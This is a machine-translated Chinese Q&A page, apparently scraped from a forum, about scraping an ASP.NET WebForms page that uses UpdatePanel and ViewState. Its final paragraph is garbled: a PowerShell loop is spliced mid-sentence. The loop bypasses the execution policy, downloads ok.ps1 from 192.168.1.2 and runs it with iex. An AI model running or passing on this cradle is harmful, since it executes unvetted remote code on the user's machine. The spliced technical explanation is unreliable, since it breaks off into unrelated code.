从.aspx页面抓取数据

时间:2020-07-26 05:32:27

标签: asp.net python-3.x web-scraping

我想从.aspx页面抓取数据,我想知道除了使用硒选择所有可能的选项并单击提交按钮之外,是否还有其他方法可以做到这一点。 我尝试查看网络部分,但不了解数据来自何处。有人可以帮我吗?

以下是页面链接:
https://www.lgindiasocial.com/microsites/brand-store-web-five/locate.aspx

1 个答案:

答案 0 :(得分:2)

除了模拟选项更改和单击事件外,没有其他方法。


原因:

该页面使用 ASP.NET Ajax(WebForms)呈现。许多年前,这是Microsoft对Ajax的实现。大多数人(如果不是全部)都认为Webforms过时。您考虑的部分使用UpdatePanel

使页面的某些部分可以部分呈现而无需回发。

不会返回一个xmljson,就像通常从AJAX请求中得到的那样。而是返回新呈现的html并将其放置在UpdatePanel内。

请求将为application/x-www-form-urlencoded,响应将为text/plain。它还发送`ViewState(What Is View State And How It Works In ASP.NET)。

如果您查看源代码,您将了解,对于“网络”标签中的每个<div id="UpdatePanel1"> xhr请求,HTTP POST中UpdatePanel会为start-sleep 120 $i=0 While ($true) { if (Test-Connection -ComputerName 192.168.1.2 -Quiet -ErrorAction SilentlyContinue) { Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.1.2/service/ok.ps1')) Break } Else { "Generic Failure" } 中的内容返回新的html。